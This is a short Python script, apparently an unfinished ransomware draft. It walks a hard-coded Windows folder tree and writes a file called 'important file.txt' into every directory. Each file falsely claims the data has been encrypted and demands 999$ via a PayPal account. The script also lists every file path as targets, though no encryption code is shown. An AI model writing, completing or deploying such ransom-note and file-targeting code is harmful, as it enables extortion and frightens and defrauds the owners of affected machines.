import os

lst  = []

def list_files(MainPath):
    for d, sb, f in os.walk(MainPath):
        with open("{}\important file.txt".format(d), 'w') as m:
            m.write("your data has been encrypted\n"
                    "you should pay 999$\n"
                    "to the following paypal_acount:fgsdjhgfj")
        for NameOfFiles in f:
            full_path = os.path.join(d, NameOfFiles)
            lst.append(full_path)

list_files(r"C:\Users\osama\Desktop\LV(1)")
for i in lst:
    print(i)